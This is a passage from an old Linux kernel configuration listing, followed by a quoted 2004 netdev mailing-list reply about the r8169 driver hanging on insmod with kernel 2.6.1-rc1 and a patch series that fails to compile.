CONFIG_PNP is not set # # Block devices # CONFIG_BLK_DEV_FD=m # CONFIG_PARIDE is not set # CONFIG_BLK_CPQ_DA is not set # CONFIG_BLK_CPQ_CISS_DA is not set # CONFIG_BLK_DEV_DAC960 is not set # CONFIG_BLK_DEV_UMEM is not set CONFIG_BLK_DEV_LOOP=y CONFIG_BLK_DEV_CRYPTOLOOP=y CONFIG_BLK_DEV_NBD=m CONFIG_BLK_DEV_RAM=m CONFIG_BLK_DEV_RAM_SIZE=4096 CONFIG_BLK_DEV_INITRD=y # CONFIG_LBD is not set # # ATA/ATAPI/MFM/RLL support # CONFIG_IDE=y CONFIG_BLK_DEV_IDE=y # # Please see Documentation/ide.txt for help/info on IDE drives # # CONFIG_BLK_DEV_HD_IDE is not set CONFIG_BLK_DEV_IDEDISK=y CONFIG_IDEDISK_MULTI_MODE=y # CONFIG_IDEDISK_STROKE is not set CONFIG_BLK_DEV_IDECD=m # CONFIG_BLK_DEV_IDETAPE is not set CONFIG_BLK_DEV_IDEFLOPPY=m CONFIG_BLK_DEV_IDESCSI=m CONFIG_IDE_TASK_IOCTL=y CONFIG_IDE_TASKFILE_IO=y # # IDE chipset support/bugfixes # # CONFIG_BLK_DEV_CMD640 is not set CONFIG_BLK_DEV_IDEPCI=y # CONFIG_IDEPCI_SHARE_IRQ is not set # CONFIG_BLK_DEV_OFFBOARD is not set CONFIG_BLK_DEV_GENERIC=y # CONFIG_BLK_DEV_OPTI621 is not set # CONFIG_BLK_DEV_RZ1000 is not set CONFIG_BLK_DEV_IDEDMA_PCI=y # CONFIG_BLK_DEV_IDEDMA_FORCED is not set CONFIG_IDEDMA_PCI_AUTO=y # CONFIG_IDEDMA_ONLYDISK is not set CONFIG_IDEDMA_PCI_WIP=y CONFIG_IDEDMA_NEW_DRIVE_LISTINGS=y CONFIG_BLK_DEV_ADMA=y # CONFIG_BLK_DEV_AEC62XX is not set # CONFIG_BLK_DEV_ALI15X3 is not set CONFIG_BLK_DEV_AMD74XX=y # CONFIG_BLK_DEV_CMD64X is not set # CONFIG_BLK_DEV_TRIFLEX is not set # CONFIG_BLK_DEV_CY82C693 is not set # CONFIG_BLK_DEV_CS5520 is not set # CONFIG_BLK_DEV_CS5530 is not set # CONFIG_BLK_DEV_HPT34X is not set # CONFIG_BLK_DEV_HPT366 is not set # CONFIG_BLK_DEV_SC1200 is not set # CONFIG_BLK_DEV_PIIX is not set # CONFIG_BLK_DEV_NS87415 is not set # CONFIG_BLK_DEV_PDC202XX_OLD is not set # CONFIG_BLK_DEV_PDC202XX_NEW is not set # CONFIG_BLK_DEV_SVWKS is not set # CONFIG_BLK_DEV_SIIMAGE is not set # CONFIG_BLK_DEV_SIS5513 is not set # CONFIG_BLK_DEV_SLC90E66 is not set # CONFIG_BLK_DEV_TRM290 is not set CONFIG_BLK_DEV_VIA82CXXX=y CONFIG_BLK_DEV_IDEDMA=y # CONFIG_IDEDMA_IVB is not set CONFIG_IDEDMA_AUTO=y # CONFIG_DMA_NONPCI is not set # CONFIG_BLK_DEV_HD is not set # # SCSI device support # CONFIG_SCSI=y CONFIG_SCSI_PROC_FS=y # # SCSI support type (disk, tape, CD-ROM) # CONFIG_BLK_DEV_SD=m CONFIG_CHR_DEV_ST=m CONFIG_CHR_DEV_OSST=m CONFIG_BLK_DEV_SR=m # CONFIG_BLK_DEV_SR_VENDOR is not set CONFIG_CHR_DEV_SG=m # # Some SCSI devices (e.g. CD jukebox) support multiple LUNs # # CONFIG_SCSI_MULTI_LUN is not set # CONFIG_SCSI_REPORT_LUNS is not set # CONFIG_SCSI_CONSTANTS is not set # CONFIG_SCSI_LOGGING is not set # # SCSI low-level drivers # # CONFIG_BLK_DEV_3W_XXXX_RAID is not set # CONFIG_SCSI_ACARD is not set # CONFIG_SCSI_AACRAID is not set # CONFIG_SCSI_AIC7XXX is not set # CONFIG_SCSI_AIC7XXX_OLD is not set # CONFIG_SCSI_AIC79XX is not set # CONFIG_SCSI_ADVANSYS is not set # CONFIG_SCSI_MEGARAID is not set # CONFIG_SCSI_SATA is not set # CONFIG_SCSI_BUSLOGIC is not set # CONFIG_SCSI_CPQFCTS is not set # CONFIG_SCSI_DMX3191D is not set # CONFIG_SCSI_EATA is not set # CONFIG_SCSI_EATA_PIO is not set # CONFIG_SCSI_FUTURE_DOMAIN is not set # CONFIG_SCSI_GDTH is not set # CONFIG_SCSI_IPS is not set # CONFIG_SCSI_INIA100 is not set # CONFIG_SCSI_PPA is not set # CONFIG_SCSI_IMM is not set # CONFIG_SCSI_SYM53C8XX_2 is not set # CONFIG_SCSI_QLOGIC_ISP is not set # CONFIG_SCSI_QLOGIC_FC is not set # CONFIG_SCSI_QLOGIC_1280 is not set CONFIG_SCSI_QLA2XXX_CONFIG=y # CONFIG_SCSI_QLA21XX is not set # CONFIG_SCSI_QLA22XX is not set # CONFIG_SCSI_QLA23XX is not set # CONFIG_SCSI_DC395x is not set # CONFIG_SCSI_DC390T is not set # CONFIG_SCSI_NSP32 is not set # CONFIG_SCSI_DEBUG is not set # # Multi-device support (RAID and LVM) # # CONFIG_MD is not set # # Fusion MPT device support # # CONFIG_FUSION is not set # # IEEE 1394 (FireWire) support (EXPERIMENTAL) # # CONFIG_IEEE1394 is not set # # I2O device support # # CONFIG_I2O is not set # # Networking support # CONFIG_NET=y # # Networking options # CONFIG_PACKET=y CONFIG_PACKET_MMAP=y CONFIG_NETLINK_DEV=y CONFIG_UNIX=y CONFIG_NET_KEY=m CONFIG_INET=y CONFIG_IP_MULTICAST=y CONFIG_IP_ADVANCED_ROUTER=y CONFIG_IP_MULTIPLE_TABLES=y CONFIG_IP_ROUTE_FWMARK=y CONFIG_IP_ROUTE_NAT=y CONFIG_IP_ROUTE_MULTIPATH=y CONFIG_IP_ROUTE_TOS=y CONFIG_IP_ROUTE_VERBOSE=y # CONFIG_IP_PNP is not set CONFIG_NET_IPIP=m CONFIG_NET_IPGRE=m CONFIG_NET_IPGRE_BROADCAST=y # CONFIG_IP_MROUTE is not set # CONFIG_ARPD is not set # CONFIG_INET_ECN is not set CONFIG_SYN_COOKIES=y CONFIG_INET_AH=m CONFIG_INET_ESP=m CONFIG_INET_IPCOMP=m # # IP: Virtual Server Configuration # # CONFIG_IP_VS is not set # CONFIG_IPV6 is not set # CONFIG_DECNET is not set # CONFIG_BRIDGE is not set CONFIG_NETFILTER=y # CONFIG_NETFILTER_DEBUG is not set # # IP: Netfilter Configuration # CONFIG_IP_NF_CONNTRACK=y CONFIG_IP_NF_FTP=y CONFIG_IP_NF_IRC=y CONFIG_IP_NF_TFTP=y CONFIG_IP_NF_AMANDA=y CONFIG_IP_NF_QUEUE=m CONFIG_IP_NF_IPTABLES=y CONFIG_IP_NF_MATCH_LIMIT=y CONFIG_IP_NF_MATCH_IPRANGE=y CONFIG_IP_NF_MATCH_MAC=y CONFIG_IP_NF_MATCH_PKTTYPE=y CONFIG_IP_NF_MATCH_MARK=y CONFIG_IP_NF_MATCH_MULTIPORT=y CONFIG_IP_NF_MATCH_TOS=y CONFIG_IP_NF_MATCH_RECENT=y CONFIG_IP_NF_MATCH_ECN=y CONFIG_IP_NF_MATCH_DSCP=y CONFIG_IP_NF_MATCH_AH_ESP=y CONFIG_IP_NF_MATCH_LENGTH=y CONFIG_IP_NF_MATCH_TTL=y CONFIG_IP_NF_MATCH_TCPMSS=y CONFIG_IP_NF_MATCH_HELPER=y CONFIG_IP_NF_MATCH_STATE=y CONFIG_IP_NF_MATCH_CONNTRACK=y CONFIG_IP_NF_MATCH_OWNER=y CONFIG_IP_NF_FILTER=y CONFIG_IP_NF_TARGET_REJECT=y CONFIG_IP_NF_NAT=y CONFIG_IP_NF_NAT_NEEDED=y CONFIG_IP_NF_TARGET_MASQUERADE=y CONFIG_IP_NF_TARGET_REDIRECT=y CONFIG_IP_NF_TARGET_NETMAP=m CONFIG_IP_NF_TARGET_SAME=m CONFIG_IP_NF_NAT_LOCAL=y CONFIG_IP_NF_NAT_SNMP_BASIC=m CONFIG_IP_NF_NAT_IRC=y CONFIG_IP_NF_NAT_FTP=y CONFIG_IP_NF_NAT_TFTP=y CONFIG_IP_NF_NAT_AMANDA=y CONFIG_IP_NF_MANGLE=m CONFIG_IP_NF_TARGET_TOS=m CONFIG_IP_NF_TARGET_ECN=m CONFIG_IP_NF_TARGET_DSCP=m CONFIG_IP_NF_TARGET_MARK=m CONFIG_IP_NF_TARGET_CLASSIFY=m CONFIG_IP_NF_TARGET_LOG=y CONFIG_IP_NF_TARGET_ULOG=m CONFIG_IP_NF_TARGET_TCPMSS=m CONFIG_IP_NF_ARPTABLES=m CONFIG_IP_NF_ARPFILTER=m CONFIG_IP_NF_ARP_MANGLE=m CONFIG_XFRM=y CONFIG_XFRM_USER=m # # SCTP Configuration (EXPERIMENTAL) # CONFIG_IPV6_SCTP__=y # CONFIG_IP_SCTP is not set # CONFIG_ATM is not set # CONFIG_VLAN_8021Q is not set # CONFIG_LLC2 is not set # CONFIG_IPX is not set # CONFIG_ATALK is not set # CONFIG_X25 is not set # CONFIG_LAPB is not set # CONFIG_NET_DIVERT is not set # CONFIG_ECONET is not set # CONFIG_WAN_ROUTER is not set # CONFIG_NET_FASTROUTE is not set # CONFIG_NET_HW_FLOWCONTROL is not set # # QoS and/or fair queueing # CONFIG_NET_SCHED=y CONFIG_NET_SCH_CBQ=m CONFIG_NET_SCH_HTB=m CONFIG_NET_SCH_CSZ=m CONFIG_NET_SCH_PRIO=m CONFIG_NET_SCH_RED=m CONFIG_NET_SCH_SFQ=m CONFIG_NET_SCH_TEQL=m CONFIG_NET_SCH_TBF=m CONFIG_NET_SCH_GRED=m CONFIG_NET_SCH_DSMARK=m CONFIG_NET_SCH_INGRESS=m CONFIG_NET_QOS=y CONFIG_NET_ESTIMATOR=y CONFIG_NET_CLS=y CONFIG_NET_CLS_TCINDEX=m CONFIG_NET_CLS_ROUTE4=m CONFIG_NET_CLS_ROUTE=y CONFIG_NET_CLS_FW=m CONFIG_NET_CLS_U32=m CONFIG_NET_CLS_RSVP=m CONFIG_NET_CLS_RSVP6=m CONFIG_NET_CLS_POLICE=y # # Network testing # # CONFIG_NET_PKTGEN is not set CONFIG_NETDEVICES=y # # ARCnet devices # # CONFIG_ARCNET is not set CONFIG_DUMMY=m # CONFIG_BONDING is not set # CONFIG_EQUALIZER is not set CONFIG_TUN=m CONFIG_ETHERTAP=m # # Ethernet (10 or 100Mbit) # CONFIG_NET_ETHERNET=y CONFIG_MII=y # CONFIG_HAPPYMEAL is not set # CONFIG_SUNGEM is not set # CONFIG_NET_VENDOR_3COM is not set # # Tulip family network device support # CONFIG_NET_TULIP=y CONFIG_DE2104X=y CONFIG_TULIP=y # CONFIG_TULIP_MWI is not set # CONFIG_TULIP_MMIO is not set CONFIG_DE4X5=y CONFIG_WINBOND_840=y # CONFIG_DM9102 is not set # CONFIG_HP100 is not set CONFIG_NET_PCI=y # CONFIG_PCNET32 is not set # CONFIG_AMD8111_ETH is not set # CONFIG_ADAPTEC_STARFIRE is not set # CONFIG_B44 is not set # CONFIG_FORCEDETH is not set # CONFIG_DGRS is not set # CONFIG_EEPRO100 is not set # CONFIG_E100 is not set # CONFIG_FEALNX is not set # CONFIG_NATSEMI is not set CONFIG_NE2K_PCI=m # CONFIG_8139CP is not set CONFIG_8139TOO=m CONFIG_8139TOO_PIO=y # CONFIG_8139TOO_TUNE_TWISTER is not set # CONFIG_8139TOO_8129 is not set # CONFIG_8139_OLD_RX_RESET is not set # CONFIG_SIS900 is not set # CONFIG_EPIC100 is not set # CONFIG_SUNDANCE is not set # CONFIG_TLAN is not set # CONFIG_VIA_RHINE is not set # # Ethernet (1000 Mbit) # # CONFIG_ACENIC is not set # CONFIG_DL2K is not set # CONFIG_E1000 is not set # CONFIG_NS83820 is not set # CONFIG_HAMACHI is not set # CONFIG_YELLOWFIN is not set CONFIG_R8169=m # CONFIG_SIS190 is not set # CONFIG_SK98LIN is not set # CONFIG_TIGON3 is not set # # Ethernet (10000 Mbit) # # CONFIG_IXGB is not set # CONFIG_FDDI is not set # CONFIG_HIPPI is not set # CONFIG_PLIP is not set CONFIG_PPP=y # CONFIG_PPP_MULTILINK is not set CONFIG_PPP_FILTER=y CONFIG_PPP_ASYNC=y # CONFIG_PPP_SYNC_TTY is not set CONFIG_PPP_DEFLATE=y CONFIG_PPP_BSDCOMP=y CONFIG_PPPOE=y # CONFIG_SLIP is not set # # Wireless LAN (non-hamradio) # CONFIG_NET_RADIO=y # # Obsolete Wireless cards support (pre-802.11) # # CONFIG_STRIP is not set # # Wireless 802.11b ISA/PCI cards support # # CONFIG_AIRO is not set # CONFIG_HERMES is not set CONFIG_NET_WIRELESS=y # # Token Ring devices # # CONFIG_TR is not set # CONFIG_NET_FC is not set # CONFIG_RCPCI is not set # CONFIG_SHAPER is not set # # Wan interfaces # # CONFIG_WAN is not set # # Amateur Radio support # # CONFIG_HAMRADIO is not set # # IrDA (infrared) support # # CONFIG_IRDA is not set # # Bluetooth support # # CONFIG_BT is not set # # ISDN subsystem # # CONFIG_ISDN_BOOL is not set # # Telephony Support # # CONFIG_PHONE is not set # # Input device support # CONFIG_INPUT=y # # Userland interfaces # CONFIG_INPUT_MOUSEDEV=y CONFIG_INPUT_MOUSEDEV_PSAUX=y CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024 CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768 CONFIG_INPUT_JOYDEV=m # CONFIG_INPUT_TSDEV is not set CONFIG_INPUT_EVDEV=y # CONFIG_INPUT_EVBUG is not set # # Input I/O drivers # # CONFIG_GAMEPORT is not set CONFIG_SOUND_GAMEPORT=y CONFIG_SERIO=y CONFIG_SERIO_I8042=y # CONFIG_SERIO_SERPORT is not set # CONFIG_SERIO_CT82C710 is not set # CONFIG_SERIO_PARKBD is not set # CONFIG_SERIO_PCIPS2 is not set # # Input Device Drivers # CONFIG_INPUT_KEYBOARD=y CONFIG_KEYBOARD_ATKBD=y # CONFIG_KEYBOARD_SUNKBD is not set # CONFIG_KEYBOARD_XTKBD is not set # CONFIG_KEYBOARD_NEWTON is not set CONFIG_INPUT_MOUSE=y CONFIG_MOUSE_PS2=y # CONFIG_MOUSE_SERIAL is not set # CONFIG_INPUT_JOYSTICK is not set # CONFIG_INPUT_TOUCHSCREEN is not set # CONFIG_INPUT_MISC is not set # # Character devices # CONFIG_VT=y CONFIG_VT_CONSOLE=y CONFIG_HW_CONSOLE=y # CONFIG_SERIAL_NONSTANDARD is not set # # Serial drivers # CONFIG_SERIAL_8250=y CONFIG_SERIAL_8250_CONSOLE=y # CONFIG_SERIAL_8250_ACPI is not set CONFIG_SERIAL_8250_NR_UARTS=4 CONFIG_SERIAL_8250_EXTENDED=y # CONFIG_SERIAL_8250_MANY_PORTS is not set # CONFIG_SERIAL_8250_SHARE_IRQ is not set CONFIG_SERIAL_8250_DETECT_IRQ=y # CONFIG_SERIAL_8250_MULTIPORT is not set # CONFIG_SERIAL_8250_RSA is not set # # Non-8250 serial port support # CONFIG_SERIAL_CORE=y CONFIG_SERIAL_CORE_CONSOLE=y CONFIG_UNIX98_PTYS=y CONFIG_UNIX98_PTY_COUNT=256 # CONFIG_PRINTER is not set # CONFIG_PPDEV is not set # CONFIG_TIPAR is not set # # Mice # # CONFIG_BUSMOUSE is not set # CONFIG_QIC02_TAPE is not set # # IPMI # CONFIG_IPMI_HANDLER=y CONFIG_IPMI_PANIC_EVENT=y CONFIG_IPMI_PANIC_STRING=y CONFIG_IPMI_DEVICE_INTERFACE=y CONFIG_IPMI_KCS=y CONFIG_IPMI_WATCHDOG=y # # Watchdog Cards # CONFIG_WATCHDOG=y # CONFIG_WATCHDOG_NOWAYOUT is not set CONFIG_SOFT_WATCHDOG=y # CONFIG_WDT is not set # CONFIG_WDTPCI is not set # CONFIG_PCWATCHDOG is not set # CONFIG_ACQUIRE_WDT is not set # CONFIG_ADVANTECH_WDT is not set # CONFIG_EUROTECH_WDT is not set # CONFIG_IB700_WDT is not set # CONFIG_I810_TCO is not set # CONFIG_MIXCOMWD is not set # CONFIG_SCx200_WDT is not set # CONFIG_60XX_WDT is not set # CONFIG_W83877F_WDT is not set # CONFIG_W83627HF_WDT is not set # CONFIG_MACHZ_WDT is not set # CONFIG_SC520_WDT is not set # CONFIG_AMD7XX_TCO is not set # CONFIG_ALIM7101_WDT is not set # CONFIG_ALIM1535_WDT is not set # CONFIG_SC1200_WDT is not set # CONFIG_WAFER_WDT is not set # CONFIG_CPU5_WDT is not set CONFIG_HW_RANDOM=m CONFIG_NVRAM=m CONFIG_RTC=m # CONFIG_GEN_RTC is not set # CONFIG_DTLK is not set # CONFIG_R3964 is not set # CONFIG_APPLICOM is not set # CONFIG_SONYPI is not set # # Ftape, the floppy tape device driver # # CONFIG_FTAPE is not set CONFIG_AGP=y # CONFIG_AGP_ALI is not set # CONFIG_AGP_ATI is not set # CONFIG_AGP_AMD is not set # CONFIG_AGP_AMD64 is not set # CONFIG_AGP_INTEL is not set # CONFIG_AGP_NVIDIA is not set # CONFIG_AGP_SIS is not set # CONFIG_AGP_SWORKS is not set CONFIG_AGP_VIA=y CONFIG_DRM=y # CONFIG_DRM_TDFX is not set # CONFIG_DRM_GAMMA is not set # CONFIG_DRM_R128 is not set # CONFIG_DRM_RADEON is not set # CONFIG_DRM_MGA is not set # CONFIG_DRM_SIS is not set # CONFIG_MWAVE is not set # CONFIG_RAW_DRIVER is not set CONFIG_HANGCHECK_TIMER=y # # I2C support # CONFIG_I2C=m CONFIG_I2C_CHARDEV=m # # I2C Algorithms # CONFIG_I2C_ALGOBIT=m CONFIG_I2C_ALGOPCF=m # # I2C Hardware Bus support # # CONFIG_I2C_ALI1535 is not set # CONFIG_I2C_ALI15X3 is not set CONFIG_I2C_AMD756=m CONFIG_I2C_AMD8111=m # CONFIG_I2C_ELV is not set # CONFIG_I2C_I801 is not set # CONFIG_I2C_I810 is not set CONFIG_I2C_ISA=m CONFIG_I2C_NFORCE2=m # CONFIG_I2C_PHILIPSPAR is not set # CONFIG_I2C_PARPORT is not set # CONFIG_I2C_PARPORT_LIGHT is not set # CONFIG_I2C_PIIX4 is not set # CONFIG_I2C_PROSAVAGE is not set # CONFIG_I2C_SAVAGE4 is not set CONFIG_SCx200_ACB=m # CONFIG_I2C_SIS5595 is not set # CONFIG_I2C_SIS630 is not set # CONFIG_I2C_SIS96X is not set # CONFIG_I2C_VELLEMAN is not set CONFIG_I2C_VIA=m CONFIG_I2C_VIAPRO=m # CONFIG_I2C_VOODOO3 is not set # # I2C Hardware Sensors Chip support # CONFIG_I2C_SENSOR=m CONFIG_SENSORS_ADM1021=m # CONFIG_SENSORS_ASB100 is not set # CONFIG_SENSORS_EEPROM is not set CONFIG_SENSORS_IT87=m CONFIG_SENSORS_LM75=m CONFIG_SENSORS_LM78=m # CONFIG_SENSORS_LM83 is not set CONFIG_SENSORS_LM85=m # CONFIG_SENSORS_LM90 is not set CONFIG_SENSORS_VIA686A=m CONFIG_SENSORS_W83781D=m # CONFIG_SENSORS_W83L785TS is not set # CONFIG_I2C_DEBUG_CORE is not set # CONFIG_I2C_DEBUG_BUS is not set # CONFIG_I2C_DEBUG_CHIP is not set # # Multimedia devices # # CONFIG_VIDEO_DEV is not set # # Digital Video Broadcasting Devices # # CONFIG_DVB is not set # # Graphics support # # CONFIG_FB is not set CONFIG_VIDEO_SELECT=y # # Console display driver support # CONFIG_VGA_CONSOLE=y # CONFIG_MDA_CONSOLE is not set CONFIG_DUMMY_CONSOLE=y # # Sound # CONFIG_SOUND=m # # Advanced Linux Sound Architecture # CONFIG_SND=m CONFIG_SND_SEQUENCER=m # CONFIG_SND_SEQ_DUMMY is not set CONFIG_SND_OSSEMUL=y CONFIG_SND_MIXER_OSS=m CONFIG_SND_PCM_OSS=m CONFIG_SND_SEQUENCER_OSS=y CONFIG_SND_RTCTIMER=m # CONFIG_SND_VERBOSE_PRINTK is not set # CONFIG_SND_DEBUG is not set # # Generic devices # # CONFIG_SND_DUMMY is not set # CONFIG_SND_VIRMIDI is not set # CONFIG_SND_MTPAV is not set # CONFIG_SND_SERIAL_U16550 is not set # CONFIG_SND_MPU401 is not set # # PCI devices # # CONFIG_SND_ALI5451 is not set # CONFIG_SND_AZT3328 is not set # CONFIG_SND_CS46XX is not set # CONFIG_SND_CS4281 is not set # CONFIG_SND_EMU10K1 is not set # CONFIG_SND_KORG1212 is not set # CONFIG_SND_NM256 is not set # CONFIG_SND_RME32 is not set # CONFIG_SND_RME96 is not set # CONFIG_SND_RME9652 is not set # CONFIG_SND_HDSP is not set # CONFIG_SND_TRIDENT is not set # CONFIG_SND_YMFPCI is not set # CONFIG_SND_ALS4000 is not set # CONFIG_SND_CMIPCI is not set # CONFIG_SND_ENS1370 is not set # CONFIG_SND_ENS1371 is not set # CONFIG_SND_ES1938 is not set # CONFIG_SND_ES1968 is not set # CONFIG_SND_MAESTRO3 is not set # CONFIG_SND_FM801 is not set # CONFIG_SND_ICE1712 is not set # CONFIG_SND_ICE1724 is not set # CONFIG_SND_INTEL8X0 is not set # CONFIG_SND_SONICVIBES is not set CONFIG_SND_VIA82XX=m # CONFIG_SND_VX222 is not set # # ALSA USB devices # # CONFIG_SND_USB_AUDIO is not set # # Open Sound System # # CONFIG_SOUND_PRIME is not set # # USB support # CONFIG_USB=m CONFIG_USB_DEBUG=y # # Miscellaneous USB options # # CONFIG_USB_DEVICEFS is not set # CONFIG_USB_BANDWIDTH is not set # CONFIG_USB_DYNAMIC_MINORS is not set # # USB Host Controller Drivers # # CONFIG_USB_EHCI_HCD is not set # CONFIG_USB_OHCI_HCD is not set CONFIG_USB_UHCI_HCD=m # # USB Device Class drivers # # CONFIG_USB_AUDIO is not set # CONFIG_USB_BLUETOOTH_TTY is not set # CONFIG_USB_MIDI is not set # CONFIG_USB_ACM is not set CONFIG_USB_PRINTER=m CONFIG_USB_STORAGE=m # CONFIG_USB_STORAGE_DEBUG is not set CONFIG_USB_STORAGE_DATAFAB=y CONFIG_USB_STORAGE_FREECOM=y CONFIG_USB_STORAGE_ISD200=y CONFIG_USB_STORAGE_DPCM=y CONFIG_USB_STORAGE_HP8200e=y CONFIG_USB_STORAGE_SDDR09=y CONFIG_USB_STORAGE_SDDR55=y CONFIG_USB_STORAGE_JUMPSHOT=y # # USB Human Interface Devices (HID) # # CONFIG_USB_HID is not set # # USB HID Boot Protocol drivers # # CONFIG_USB_KBD is not set # CONFIG_USB_MOUSE is not set # CONFIG_USB_AIPTEK is not set # CONFIG_USB_WACOM is not set # CONFIG_USB_KBTAB is not set # CONFIG_USB_POWERMATE is not set # CONFIG_USB_XPAD is not set # # USB Imaging devices # # CONFIG_USB_MDC800 is not set CONFIG_USB_SCANNER=m # CONFIG_USB_MICROTEK is not set # CONFIG_USB_HPUSBSCSI is not set # # USB Multimedia devices # # CONFIG_USB_DABUSB is not set # # Video4Linux support is needed for USB Multimedia device support # # # USB Network adaptors # # CONFIG_USB_CATC is not set # CONFIG_USB_KAWETH is not set # CONFIG_USB_PEGASUS is not set # CONFIG_USB_RTL8150 is not set # CONFIG_USB_USBNET is not set # # USB port drivers # # CONFIG_USB_USS720 is not set # # USB Serial Converter support # # CONFIG_USB_SERIAL is not set # # USB Miscellaneous drivers # # CONFIG_USB_EMI62 is not set # CONFIG_USB_EMI26 is not set # CONFIG_USB_TIGL is not set # CONFIG_USB_AUERSWALD is not set # CONFIG_USB_RIO500 is not set # CONFIG_USB_LEGOTOWER is not set # CONFIG_USB_BRLVGER is not set # CONFIG_USB_LCD is not set # CONFIG_USB_LED is not set # CONFIG_USB_GADGET is not set # # File systems # CONFIG_EXT2_FS=m # CONFIG_EXT2_FS_XATTR is not set CONFIG_EXT3_FS=m CONFIG_EXT3_FS_XATTR=y # CONFIG_EXT3_FS_POSIX_ACL is not set # CONFIG_EXT3_FS_SECURITY is not set CONFIG_JBD=m # CONFIG_JBD_DEBUG is not set CONFIG_FS_MBCACHE=m CONFIG_REISERFS_FS=y # CONFIG_REISERFS_CHECK is not set CONFIG_REISERFS_PROC_INFO=y # CONFIG_JFS_FS is not set # CONFIG_XFS_FS is not set # CONFIG_MINIX_FS is not set CONFIG_ROMFS_FS=m # CONFIG_QUOTA is not set # CONFIG_AUTOFS_FS is not set # CONFIG_AUTOFS4_FS is not set # # CD-ROM/DVD Filesystems # CONFIG_ISO9660_FS=m CONFIG_JOLIET=y CONFIG_ZISOFS=y CONFIG_ZISOFS_FS=m CONFIG_UDF_FS=m # # DOS/FAT/NT Filesystems # CONFIG_FAT_FS=m CONFIG_MSDOS_FS=m CONFIG_VFAT_FS=m CONFIG_NTFS_FS=m # CONFIG_NTFS_DEBUG is not set # CONFIG_NTFS_RW is not set # # Pseudo filesystems # CONFIG_PROC_FS=y CONFIG_PROC_KCORE=y # CONFIG_DEVFS_FS is not set CONFIG_DEVPTS_FS=y # CONFIG_DEVPTS_FS_XATTR is not set CONFIG_TMPFS=y # CONFIG_HUGETLBFS is not set # CONFIG_HUGETLB_PAGE is not set CONFIG_RAMFS=y # # Miscellaneous filesystems # # CONFIG_ADFS_FS is not set # CONFIG_AFFS_FS is not set # CONFIG_HFS_FS is not set # CONFIG_BEFS_FS is not set # CONFIG_BFS_FS is not set # CONFIG_EFS_FS is not set # CONFIG_JFFS_FS is not set # CONFIG_JFFS2_FS is not set CONFIG_CRAMFS=y # CONFIG_VXFS_FS is not set # CONFIG_HPFS_FS is not set # CONFIG_QNX4FS_FS is not set # CONFIG_SYSV_FS is not set # CONFIG_UFS_FS is not set # # Network File Systems # CONFIG_NFS_FS=m CONFIG_NFS_V3=y CONFIG_NFS_V4=y CONFIG_NFS_DIRECTIO=y CONFIG_NFSD=m CONFIG_NFSD_V3=y CONFIG_NFSD_V4=y CONFIG_NFSD_TCP=y CONFIG_LOCKD=m CONFIG_LOCKD_V4=y CONFIG_EXPORTFS=m CONFIG_SUNRPC=m CONFIG_SUNRPC_GSS=m CONFIG_RPCSEC_GSS_KRB5=m CONFIG_SMB_FS=m # CONFIG_SMB_NLS_DEFAULT is not set CONFIG_CIFS=m # CONFIG_NCP_FS is not set # CONFIG_CODA_FS is not set CONFIG_INTERMEZZO_FS=m # CONFIG_AFS_FS is not set # # Partition Types # # CONFIG_PARTITION_ADVANCED is not set CONFIG_MSDOS_PARTITION=y # # Native Language Support # CONFIG_NLS=y CONFIG_NLS_DEFAULT="cp437" CONFIG_NLS_CODEPAGE_437=m CONFIG_NLS_CODEPAGE_737=m CONFIG_NLS_CODEPAGE_775=m CONFIG_NLS_CODEPAGE_850=m CONFIG_NLS_CODEPAGE_852=m CONFIG_NLS_CODEPAGE_855=m CONFIG_NLS_CODEPAGE_857=m CONFIG_NLS_CODEPAGE_860=m CONFIG_NLS_CODEPAGE_861=m CONFIG_NLS_CODEPAGE_862=m CONFIG_NLS_CODEPAGE_863=m CONFIG_NLS_CODEPAGE_864=m CONFIG_NLS_CODEPAGE_865=m CONFIG_NLS_CODEPAGE_866=m CONFIG_NLS_CODEPAGE_869=m CONFIG_NLS_CODEPAGE_936=m CONFIG_NLS_CODEPAGE_950=m CONFIG_NLS_CODEPAGE_932=m CONFIG_NLS_CODEPAGE_949=m CONFIG_NLS_CODEPAGE_874=m CONFIG_NLS_ISO8859_8=m CONFIG_NLS_CODEPAGE_1250=m CONFIG_NLS_CODEPAGE_1251=m CONFIG_NLS_ISO8859_1=m CONFIG_NLS_ISO8859_2=m CONFIG_NLS_ISO8859_3=m CONFIG_NLS_ISO8859_4=m CONFIG_NLS_ISO8859_5=m CONFIG_NLS_ISO8859_6=m CONFIG_NLS_ISO8859_7=m CONFIG_NLS_ISO8859_9=m CONFIG_NLS_ISO8859_13=m CONFIG_NLS_ISO8859_14=m CONFIG_NLS_ISO8859_15=m CONFIG_NLS_KOI8_R=m CONFIG_NLS_KOI8_U=m CONFIG_NLS_UTF8=m # # Profiling support # # CONFIG_PROFILING is not set # # Kernel hacking # # CONFIG_DEBUG_KERNEL is not set # CONFIG_DEBUG_SPINLOCK_SLEEP is not set # CONFIG_FRAME_POINTER is not set CONFIG_X86_EXTRA_IRQS=y CONFIG_X86_FIND_SMP_CONFIG=y CONFIG_X86_MPPARSE=y # # Security options # # CONFIG_SECURITY is not set # # Cryptographic options # CONFIG_CRYPTO=y CONFIG_CRYPTO_HMAC=y CONFIG_CRYPTO_NULL=m CONFIG_CRYPTO_MD4=m CONFIG_CRYPTO_MD5=m CONFIG_CRYPTO_SHA1=m CONFIG_CRYPTO_SHA256=m CONFIG_CRYPTO_SHA512=m CONFIG_CRYPTO_DES=m CONFIG_CRYPTO_BLOWFISH=m CONFIG_CRYPTO_TWOFISH=m CONFIG_CRYPTO_SERPENT=m CONFIG_CRYPTO_AES=m CONFIG_CRYPTO_CAST5=m CONFIG_CRYPTO_CAST6=m CONFIG_CRYPTO_DEFLATE=m CONFIG_CRYPTO_TEST=m # # Library routines # CONFIG_CRC32=y CONFIG_ZLIB_INFLATE=y CONFIG_ZLIB_DEFLATE=y CONFIG_X86_BIOS_REBOOT=y CONFIG_PC=y > [...] > > My main problem with the existing driver is that the driver will hang when > ^^^^^^^^ -> which kernel ? (un)patched ? Unpatched 2.6.1-rc1 > > I insmod it on my duron system with a VIA mainboard (KLE133). Only the > > insmod hangs. I can still login to other sessions and the system operates > > normally apart from the hanging process in D state. > > You can try the first 10 patches (i.e. including r8169-intr_mask.patch) > from the last serie. I tried them and got the compile failure. From jgarzik@pobox.com Sat Jan 24 13:07:50 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 24 Jan 2004 13:08:03 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) 